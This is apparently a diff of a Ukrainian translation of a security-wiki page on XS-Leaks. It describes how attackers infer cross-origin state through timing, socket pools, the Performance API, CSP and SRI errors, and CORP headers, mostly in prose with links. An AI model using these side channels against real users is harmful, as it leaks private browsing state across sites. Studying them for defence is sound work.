Оскільки **лише один запит на оплату може бути активним** одночасно, якщо цільовий веб-сайт використовує API запиту на оплату, будь-які подальші спроби використати цей API зазнають невдачі** і викличуть **виключення JavaScript**. Зловмисник може експлуатувати це, **періодично намагаючись показати інтерфейс API оплати**. Якщо одна спроба викликає виключення, цільовий веб-сайт в даний момент його використовує. Зловмисник може приховати ці періодичні спроби, негайно закриваючи інтерфейс після створення. Оскільки **лише один запит на оплату може бути активним** одночасно, якщо цільовий веб-сайт використовує API запиту на оплату, будь-які подальші спроби використати цей API зазнають невдачі і викличуть **виключення JavaScript**. Зловмисник може експлуатувати це, **періодично намагаючись показати інтерфейс API оплати**. Якщо одна спроба викликає виключення, цільовий веб-сайт наразі його використовує. Зловмисник може приховати ці періодичні спроби, негайно закриваючи інтерфейс після створення.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a> ### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
@ -238,10 +238,10 @@ JavaScript працює на [однопоточній моделі циклу
- **Inclusion Methods**: - **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code) - **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Один із способів вимірювання часу виконання веб-операції полягає в навмисному блокуванні циклу подій потоку, а потім вимірюванні **того, скільки часу потрібно, щоб цикл подій знову став доступним**. Вставивши блокуючу операцію (таку як тривале обчислення або синхронний виклик API) у цикл подій і контролюючи час, який потрібен для початку виконання наступного коду, можна вивести тривалість завдань, які виконувалися в циклі подій під час блокуючого періоду. Ця техніка використовує однопоточну природу циклу подій JavaScript, де завдання виконуються послідовно, і може надати уявлення про продуктивність або поведінку інших операцій, які ділять той же потік. - **Summary:** Один із методів вимірювання часу виконання веб-операції полягає в навмисному блокуванні циклу подій потоку, а потім вимірюванні **того, скільки часу потрібно, щоб цикл подій знову став доступним**. Вставивши блокуючу операцію (таку як тривале обчислення або синхронний виклик API) у цикл подій і контролюючи час, який потрібен для початку виконання наступного коду, можна вивести тривалість завдань, які виконувалися в циклі подій під час блокуючого періоду. Ця техніка використовує однопоточну природу циклу подій JavaScript, де завдання виконуються послідовно, і може надати уявлення про продуктивність або поведінку інших операцій, які ділять той же потік.
- **Code Example**: - **Code Example**:
Значною перевагою техніки вимірювання часу виконання шляхом блокування циклу подій є її потенціал обійти **Site Isolation**. **Site Isolation** є функцією безпеки, яка розділяє різні веб-сайти на окремі процеси, щоб запобігти зловмисним сайтам від прямого доступу до чутливих даних з інших сайтів. Однак, впливаючи на час виконання іншого джерела через спільний цикл подій, зловмисник може непрямо витягти інформацію про діяльність цього джерела. Цей метод не покладається на прямий доступ до даних іншого джерела, а скоріше спостерігає за впливом діяльності цього джерела на спільний цикл подій, таким чином ухиляючись від захисних бар'єрів, встановлених **Site Isolation**. Значною перевагою техніки вимірювання часу виконання шляхом блокування циклу подій є її потенціал обходити **Site Isolation**. **Site Isolation** є функцією безпеки, яка розділяє різні веб-сайти на окремі процеси, щоб запобігти зловмисним сайтам від прямого доступу до чутливих даних з інших сайтів. Однак, впливаючи на час виконання іншого джерела через спільний цикл подій, зловмисник може непрямо витягти інформацію про діяльність цього джерела. Цей метод не покладається на прямий доступ до даних іншого джерела, а скоріше спостерігає за впливом діяльності цього джерела на спільний цикл подій, таким чином ухиляючись від захисних бар'єрів, встановлених **Site Isolation**.
> [!WARNING] > [!WARNING]
> У вимірюванні часу виконання можливо **усунути** **мережеві фактори**, щоб отримати **більш точні вимірювання**. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням. > У вимірюванні часу виконання можливо **усунути** **мережеві фактори**, щоб отримати **більш точні вимірювання**. Наприклад, завантажуючи ресурси, які використовуються сторінкою, перед її завантаженням.
@ -251,7 +251,7 @@ JavaScript працює на [однопоточній моделі циклу
- **Inclusion Methods**: JavaScript Requests - **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code) - **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** Зловмисник може заблокувати всі сокети, крім 1, завантажити цільовий веб-сайт і одночасно завантажити іншу сторінку, час до початку завантаження останньої сторінки є часом, який цільова сторінка витратила на завантаження. - **Summary:** Зловмисник може заблокувати всі сокети, крім 1, завантажити цільовий веб-сайт і одночасно завантажити іншу сторінку, час, поки остання сторінка починає завантажуватися, є часом, який потрібен цільовій сторінці для завантаження.
- **Code Example**: - **Code Example**:
{{#ref}} {{#ref}}
@ -263,7 +263,7 @@ connection-pool-example.md
1. Визначити ліміт сокетів браузера, наприклад, 256 глобальних сокетів. 1. Визначити ліміт сокетів браузера, наприклад, 256 глобальних сокетів.
2. Зайняти 255 сокетів на тривалий час, ініціюючи 255 запитів до різних хостів, призначених для підтримки з'єднань відкритими без завершення. 2. Зайняти 255 сокетів на тривалий час, ініціюючи 255 запитів до різних хостів, призначених для підтримки з'єднань відкритими без завершення.
3. Використати 256-й сокет для надсилання запиту до цільової сторінки. 3. Використати 256-й сокет для надсилання запиту до цільової сторінки.
4. Спробувати 257-й запит до іншого хоста. Оскільки всі сокети зайняті (згідно з кроками 2 і 3), цей запит буде поставлений в чергу, поки не з'явиться доступний сокет. Затримка перед тим, як цей запит продовжиться, надає зловмиснику інформацію про час, пов'язаний з мережею, що стосується 256-го сокета (сокета цільової сторінки). Це висновок можливий, оскільки 255 сокетів з кроку 2 все ще зайняті, що означає, що будь-який новий доступний сокет повинен бути звільнений з кроку 3. Час, необхідний для того, щоб 256-й сокет став доступним, таким чином безпосередньо пов'язаний з часом, необхідним для завершення запиту до цільової сторінки. 4. Спробувати 257-й запит до іншого хоста. Оскільки всі сокети зайняті (згідно з кроками 2 і 3), цей запит буде поставлений в чергу, поки не з'явиться доступний сокет. Затримка перед тим, як цей запит продовжиться, надає зловмиснику інформацію про час, пов'язаний з мережею, що стосується 256-го сокета (сокета цільової сторінки). Це виведення можливе, оскільки 255 сокетів з кроку 2 все ще зайняті, що означає, що будь-який новий доступний сокет повинен бути звільнений з кроку 3. Час, необхідний для того, щоб 256-й сокет став доступним, безпосередньо пов'язаний з часом, необхідним для завершення запиту до цільової сторінки.
Для отримання додаткової інформації: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) Для отримання додаткової інформації: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
@ -276,9 +276,9 @@ connection-pool-example.md
## Performance API Techniques ## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) пропонує уявлення про показники продуктивності веб-додатків, додатково збагачене [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API дозволяє моніторити детальні часи запитів в мережі, такі як тривалість запитів. Особливо, коли сервери включають заголовок `Timing-Allow-Origin: *` у своїх відповідях, стають доступними додаткові дані, такі як розмір передачі та час пошуку домену. [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) пропонує інформацію про показники продуктивності веб-додатків, додатково збагачену [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API дозволяє моніторити детальні часи запитів мережі, такі як тривалість запитів. Особливо, коли сервери включають заголовок `Timing-Allow-Origin: *` у своїх відповідях, стає доступною додаткова інформація, така як розмір передачі та час пошуку домену.
Цю багатство даних можна отримати за допомогою методів, таких як [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) або [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), що надає всебічний огляд інформації, пов'язаної з продуктивністю. Крім того, API полегшує вимірювання часу виконання, обчислюючи різницю між часовими мітками, отриманими з [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Однак варто зазначити, що для певних операцій у браузерах, таких як Chrome, точність `performance.now()` може бути обмежена до мілісекунд, що може вплинути на детальність вимірювань часу. Цю багатство даних можна отримати за допомогою методів, таких як [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) або [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), надаючи всебічний огляд інформації, пов'язаної з продуктивністю. Крім того, API полегшує вимірювання часу виконання, обчислюючи різницю між мітками часу, отриманими з [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Однак варто зазначити, що для певних операцій у браузерах, таких як Chrome, точність `performance.now()` може бути обмежена мілісекундами, що може вплинути на детальність вимірювань часу.
Окрім вимірювань часу, Performance API можна використовувати для отримання інформації, пов'язаної з безпекою. Наприклад, наявність або відсутність сторінок в об'єкті `performance` у Chrome може вказувати на застосування `X-Frame-Options`. Зокрема, якщо сторінка заблокована від відображення в фреймі через `X-Frame-Options`, вона не буде зафіксована в об'єкті `performance`, що надає тонкий натяк на політику фреймування сторінки. Окрім вимірювань часу, Performance API можна використовувати для отримання інформації, пов'язаної з безпекою. Наприклад, наявність або відсутність сторінок в об'єкті `performance` у Chrome може вказувати на застосування `X-Frame-Options`. Зокрема, якщо сторінка заблокована від відображення в фреймі через `X-Frame-Options`, вона не буде зафіксована в об'єкті `performance`, що надає тонкий натяк на політику фреймування сторінки.
@ -287,7 +287,7 @@ connection-pool-example.md
- **Inclusion Methods**: Frames, HTML Elements - **Inclusion Methods**: Frames, HTML Elements
- **Detectable Difference**: Status Code - **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Запит, що призводить до помилок, не створить запису часу ресурсів. - **Summary:** Запит, який призводить до помилок, не створить запису часу ресурсів.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Можливо **відрізнити між статус-кодами HTTP**, оскільки запити, які призводять до **помилки**, **не створюють запису продуктивності**. Можливо **відрізнити між статус-кодами HTTP**, оскільки запити, які призводять до **помилки**, **не створюють запису продуктивності**.
@ -297,17 +297,17 @@ connection-pool-example.md
- **Inclusion Methods**: HTML Elements - **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code - **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Через помилку браузера запити, що призводять до помилок, завантажуються двічі. - **Summary:** Через помилку браузера запити, які призводять до помилок, завантажуються двічі.
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
У попередній техніці також були виявлені два випадки, коли помилки браузера в GC призводять до **завантаження ресурсів двічі, коли вони не вдаються**. Це призведе до кількох записів у Performance API і, отже, може бути виявлено. У попередній техніці також було виявлено два випадки, коли помилки браузера в GC призводять до **завантаження ресурсів двічі, коли вони не вдаються**. Це призведе до кількох записів у Performance API і, отже, може бути виявлено.
### Request Merging Error ### Request Merging Error
- **Inclusion Methods**: HTML Elements - **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code - **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Запити, що призводять до помилки, не можуть бути об'єднані. - **Summary:** Запити, які призводять до помилки, не можуть бути об'єднані.
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Техніка була знайдена в таблиці в згаданій статті, але опис техніки не був знайдений. Однак ви можете знайти вихідний код, перевіряючи його на [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) Техніка була знайдена в таблиці в згаданій статті, але опис техніки не був знайдений. Однак ви можете знайти вихідний код, перевіряючи його на [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
@ -320,7 +320,7 @@ connection-pool-example.md
- **Summary:** Порожні відповіді не створюють записи часу ресурсів. - **Summary:** Порожні відповіді не створюють записи часу ресурсів.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Зловмисник може виявити, чи запит призвів до порожнього тіла HTTP-відповіді, оскільки **порожні сторінки не створюють запису продуктивності в деяких браузерах**. Зловмисник може виявити, чи призвів запит до порожнього тіла HTTP-відповіді, оскільки **порожні сторінки не створюють запису продуктивності в деяких браузерах**.
### **XSS-Auditor Leak** ### **XSS-Auditor Leak**
@ -330,7 +330,7 @@ connection-pool-example.md
- **Summary:** Використовуючи XSS Auditor у Security Assertions, зловмисники можуть виявити конкретні елементи веб-сторінки, спостерігаючи за змінами у відповідях, коли створені корисні навантаження активують механізм фільтрації аудитора. - **Summary:** Використовуючи XSS Auditor у Security Assertions, зловмисники можуть виявити конкретні елементи веб-сторінки, спостерігаючи за змінами у відповідях, коли створені корисні навантаження активують механізм фільтрації аудитора.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
У Security Assertions (SA) XSS Auditor, спочатку призначений для запобігання атакам Cross-Site Scripting (XSS), може парадоксально бути використаний для витоку чутливої інформації. Хоча ця вбудована функція була видалена з Google Chrome (GC), вона все ще присутня в SA. У 2013 році Браун і Хайдеріх продемонстрували, що XSS Auditor може ненавмисно блокувати законні скрипти, що призводить до хибних позитивів. Спираючись на це, дослідники розробили техніки для витягування інформації та виявлення конкретного контенту на крос-доменної сторінці, концепція, відома як XS-Leaks, спочатку повідомлена Терадою і розширена Хейзом у блозі. Хоча ці техніки були специфічні для XSS Auditor у GC, було виявлено, що в SA сторінки, заблоковані XSS Auditor, не генерують записи в Performance API, що розкриває метод, за допомогою якого чутлива інформація може все ще бути витекла. У Security Assertions (SA) XSS Auditor, спочатку призначений для запобігання атакам Cross-Site Scripting (XSS), може парадоксально бути використаний для витоку чутливої інформації. Хоча ця вбудована функція була видалена з Google Chrome (GC), вона все ще присутня в SA. У 2013 році Браун і Хайдеріх продемонстрували, що XSS Auditor може ненавмисно блокувати законні скрипти, що призводить до хибних позитивів. Спираючись на це, дослідники розробили техніки для витягування інформації та виявлення конкретного контенту на крос-доменної сторінці, концепція, відома як XS-Leaks, спочатку повідомлена Терадою та розширена Хейзом у блозі. Хоча ці техніки були специфічні для XSS Auditor у GC, було виявлено, що в SA сторінки, заблоковані XSS Auditor, не генерують записи в Performance API, що розкриває метод, за допомогою якого чутлива інформація може все ще бути витекла.
### X-Frame Leak ### X-Frame Leak
@ -340,15 +340,15 @@ connection-pool-example.md
- **Summary:** Ресурс з заголовком X-Frame-Options не створює запису часу ресурсів. - **Summary:** Ресурс з заголовком X-Frame-Options не створює запису часу ресурсів.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Якщо сторінка **не дозволена** бути **відображеною** в **iframe**, вона **не створює запису продуктивності**. Як результат, зловмисник може виявити заголовок відповіді **`X-Frame-Options`**.\ Якщо сторінка **не дозволена** бути **відображеною** в **iframe**, вона не створює запису продуктивності. Як результат, зловмисник може виявити заголовок відповіді **`X-Frame-Options`**.\
Те ж саме відбувається, якщо ви використовуєте **тег embed**. Те ж саме відбувається, якщо ви використовуєте **embed** **тег.**
### Download Detection ### Download Detection
- **Inclusion Methods**: Frames - **Inclusion Methods**: Frames
- **Detectable Difference**: Header - **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Завантаження не створюють записи часу ресурсів у Performance API. - **Summary:** Завантаження не створює записів часу ресурсів у Performance API.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection) - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Подібно до описаного XS-Leak, **ресурс, який завантажується** через заголовок ContentDisposition, також **не створює запису продуктивності**. Ця техніка працює у всіх основних браузерах. Подібно до описаного XS-Leak, **ресурс, який завантажується** через заголовок ContentDisposition, також **не створює запису продуктивності**. Ця техніка працює у всіх основних браузерах.
@ -361,7 +361,7 @@ connection-pool-example.md
- **Summary:** Запис часу ресурсів витікає час початку перенаправлення. - **Summary:** Запис часу ресурсів витікає час початку перенаправлення.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Ми знайшли один випадок XS-Leak, який зловживає поведінкою деяких браузерів, які реєструють занадто багато інформації для крос-доменної запитів. Стандарт визначає підмножину атрибутів, які повинні бути встановлені на нуль для крос-доменної ресурсів. Однак у **SA** можливо виявити, чи користувач **перенаправлений** цільовою сторінкою, запитуючи **Performance API** та перевіряючи дані про **час перенаправлення**. Ми знайшли один випадок XS-Leak, який зловживає поведінкою деяких браузерів, які реєструють занадто багато інформації для крос-доменної запитів. Стандарт визначає підмножину атрибутів, які повинні бути встановлені на нуль для крос-доменної ресурсів. Однак у **SA** можливо виявити, чи користувач **перенаправлений** цільовою сторінкою, запитуючи **Performance API** та перевіряючи дані **redirectStart timing**.
### Duration Redirect Leak ### Duration Redirect Leak
@ -381,7 +381,7 @@ connection-pool-example.md
- **Summary:** Ресурс, захищений CORP, не створює записів часу ресурсів. - **Summary:** Ресурс, захищений CORP, не створює записів часу ресурсів.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
У деяких випадках **запис nextHopProtocol** може бути використаний як техніка витоку. У GC, коли **заголовок CORP** встановлений, nextHopProtocol буде **порожнім**. Зверніть увагу, що SA взагалі не створить запису продуктивності для ресурсів, активованих CORP. У деяких випадках **запис nextHopProtocol** може бути використаний як техніка витоку. У GC, коли заголовок **CORP** встановлений, nextHopProtocol буде **порожнім**. Зверніть увагу, що SA взагалі не створить запису продуктивності для ресурсів, активованих CORP.
### Service Worker ### Service Worker
@ -391,7 +391,7 @@ connection-pool-example.md
- **Summary:** Виявлення, чи зареєстровано сервісний робітник для конкретного джерела. - **Summary:** Виявлення, чи зареєстровано сервісний робітник для конкретного джерела.
- **Code Example**: - **Code Example**:
Сервісні робітники є сценарними контекстами, що реагують на події, які працюють на джерелі. Вони працюють у фоновому режимі веб-сторінки та можуть перехоплювати, змінювати та **кешувати ресурси** для створення офлайн веб-додатків.\ Сервісні робітники є контекстами скриптів, що реагують на події, які працюють на джерелі. Вони працюють у фоновому режимі веб-сторінки та можуть перехоплювати, змінювати та **кешувати ресурси** для створення офлайн веб-додатків.\
Якщо **ресурс, кешований** **сервісним робітником**, доступний через **iframe**, ресурс буде **завантажено з кешу сервісного робітника**.\ Якщо **ресурс, кешований** **сервісним робітником**, доступний через **iframe**, ресурс буде **завантажено з кешу сервісного робітника**.\
Щоб виявити, чи ресурс був **завантажений з кешу сервісного робітника**, можна використовувати **Performance API**.\ Щоб виявити, чи ресурс був **завантажений з кешу сервісного робітника**, можна використовувати **Performance API**.\
Це також можна зробити за допомогою атаки на час (перевірте статтю для отримання додаткової інформації). Це також можна зробити за допомогою атаки на час (перевірте статтю для отримання додаткової інформації).
@ -490,7 +490,7 @@ audioElement.onerror = errHandler
- **Резюме:** У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів. - **Резюме:** У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів.
- **Приклад коду**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Зловмисник може експлуатувати **докладні повідомлення про помилки**, щоб вивести розмір відповідей крос-доменно. Це можливо завдяки механізму цілісності підресурсів (SRI), який використовує атрибут цілісності для перевірки того, що ресурси, які завантажуються, часто з CDN, не були підроблені. Щоб SRI працював на крос-доменных ресурсах, вони повинні бути **CORS-увімкнені**; в іншому випадку вони не підлягають перевіркам цілісності. У Security Assertions (SA), подібно до помилки CORS XS-Leak, повідомлення про помилку може бути захоплене після того, як запит на отримання з атрибутом цілісності не вдається. Зловмисники можуть навмисно **викликати цю помилку**, призначивши **фальшиве значення хешу** для атрибута цілісності будь-якого запиту. У SA результуюче повідомлення про помилку ненавмисно розкриває довжину вмісту запитуваного ресурсу. Ця витік інформації дозволяє зловмиснику розрізняти варіації в розмірі відповіді, прокладаючи шлях для складних атак XS-Leak. Зловмисник може експлуатувати **докладні повідомлення про помилки**, щоб вивести розмір відповідей крос-доменно. Це можливо завдяки механізму цілісності підресурсів (SRI), який використовує атрибут цілісності для перевірки, що ресурси, які завантажуються, часто з CDN, не були підроблені. Щоб SRI працював на крос-доменных ресурсах, вони повинні бути **CORS-увімкненими**; в іншому випадку вони не підлягають перевіркам цілісності. У Security Assertions (SA), подібно до помилки CORS XS-Leak, повідомлення про помилку може бути захоплене після того, як запит на отримання з атрибутом цілісності не вдається. Зловмисники можуть навмисно **викликати цю помилку**, призначивши **фальшиве значення хешу** для атрибута цілісності будь-якого запиту. У SA результуюче повідомлення про помилку ненавмисно розкриває довжину вмісту запитуваного ресурсу. Ця витік інформації дозволяє зловмиснику розрізняти варіації в розмірі відповіді, прокладаючи шлях для складних атак XS-Leak.
### CSP Violation/Detection ### CSP Violation/Detection
@ -500,7 +500,7 @@ audioElement.onerror = errHandler
- **Резюме:** Дозволяючи лише веб-сайту жертви в CSP, якщо ми намагаємося перенаправити на інший домен, CSP викликає виявну помилку. - **Резюме:** Дозволяючи лише веб-сайту жертви в CSP, якщо ми намагаємося перенаправити на інший домен, CSP викликає виявну помилку.
- **Приклад коду**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation) - **Приклад коду**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak може використовувати CSP для виявлення, чи був крос-доменний сайт перенаправлений на інший домен. Цей витік може виявити перенаправлення, але додатково, домен цілі перенаправлення також витікає. Основна ідея цієї атаки полягає в тому, щоб **дозволити цільовий домен на сайті зловмисника**. Як тільки запит надсилається на цільовий домен, він **перенаправляє** на крос-домений домен. **CSP блокує** доступ до нього і створює **звіт про порушення, що використовується як техніка витоку**. Залежно від браузера, **цей звіт може витікати цільове місце перенаправлення**.\ XS-Leak може використовувати CSP для виявлення, чи був крос-доменний сайт перенаправлений на інший домен. Цей витік може виявити перенаправлення, але додатково, домен цільового перенаправлення також витікає. Основна ідея цієї атаки полягає в тому, щоб **дозволити цільовий домен на сайті зловмисника**. Як тільки запит надсилається на цільовий домен, він **перенаправляє** на крос-домений домен. **CSP блокує** доступ до нього і створює **звіт про порушення, що використовується як техніка витоку**. Залежно від браузера, **цей звіт може витікати цільове місце перенаправлення**.\
Сучасні браузери не вказують URL, на який було перенаправлено, але ви все ще можете виявити, що було викликано крос-доменне перенаправлення. Сучасні браузери не вказують URL, на який було перенаправлено, але ви все ще можете виявити, що було викликано крос-доменне перенаправлення.
### Cache ### Cache
@ -523,24 +523,24 @@ XS-Leak може використовувати CSP для виявлення,
- **Резюме:** Директиви заголовка CSP можуть бути перевірені за допомогою атрибута iframe CSP, розкриваючи деталі політики. - **Резюме:** Директиви заголовка CSP можуть бути перевірені за допомогою атрибута iframe CSP, розкриваючи деталі політики.
- **Приклад коду**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Нова функція в Google Chrome (GC) дозволяє веб-сторінкам **пропонувати політику безпеки контенту (CSP)**, встановлюючи атрибут на елементі iframe, з директивами політики, що передаються разом з HTTP-запитом. Зазвичай вбудований вміст повинен **авторизувати це через HTTP-заголовок**, або **відображається сторінка з помилкою**. Однак, якщо iframe вже регулюється CSP, а нова запропонована політика не є більш обмежувальною, сторінка завантажується нормально. Цей механізм відкриває шлях для зловмисника, щоб **виявити конкретні директиви CSP** крос-доменної сторінки, ідентифікуючи сторінку з помилкою. Хоча ця вразливість була позначена як виправлена, наші знахідки виявляють **нову техніку витоку**, здатну виявити сторінку з помилкою, що свідчить про те, що основна проблема ніколи не була повністю вирішена. Нова функція в Google Chrome (GC) дозволяє веб-сторінкам **пропонувати політику безпеки контенту (CSP)**, встановлюючи атрибут на елементі iframe, з директивами політики, що передаються разом з HTTP-запитом. Зазвичай вбудований вміст повинен **авторизувати це через HTTP-заголовок**, або **відображається сторінка з помилкою**. Однак, якщо iframe вже регулюється CSP, а нова запропонована політика не є більш обмежувальною, сторінка завантажиться нормально. Цей механізм відкриває шлях для зловмисника **виявити конкретні директиви CSP** крос-доменної сторінки, ідентифікуючи сторінку з помилкою. Хоча ця вразливість була позначена як виправлена, наші знахідки виявляють **нову техніку витоку**, здатну виявити сторінку з помилкою, що свідчить про те, що основна проблема ніколи не була повністю вирішена.
### **CORP** ### **CORP**
- **Методи включення**: Fetch API - **Методи включення**: Fetch API
- **Виявна різниця**: Заголовок - **Виявна різниця**: Заголовок
- **Більше інформації**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/) - **Більше інформації**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Резюме:** Ресурси, захищені політикою ресурсів крос-доменів (CORP), викликатимуть помилку, коли їх запитують з недозволеного походження. - **Резюме:** Ресурси, захищені політикою ресурсів крос-доменного доступу (CORP), викликатимуть помилку, коли їх запитують з недозволеного походження.
- **Приклад коду**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
Заголовок CORP є відносно новою функцією безпеки веб-платформи, яка, коли встановлена, **блокує запити крос-доменів без CORS до даного ресурсу**. Присутність заголовка можна виявити, оскільки ресурс, захищений CORP, **викликатиме помилку при запиті**. Заголовок CORP є відносно новою функцією безпеки веб-платформи, яка, коли встановлена, **блокує запити крос-доменного доступу до даного ресурсу**. Присутність заголовка можна виявити, оскільки ресурс, захищений CORP, **викликатиме помилку при запиті**.
### CORB ### CORB
- **Методи включення**: HTML-елементи - **Методи включення**: HTML-елементи
- **Виявна різниця**: Заголовки - **Виявна різниця**: Заголовки
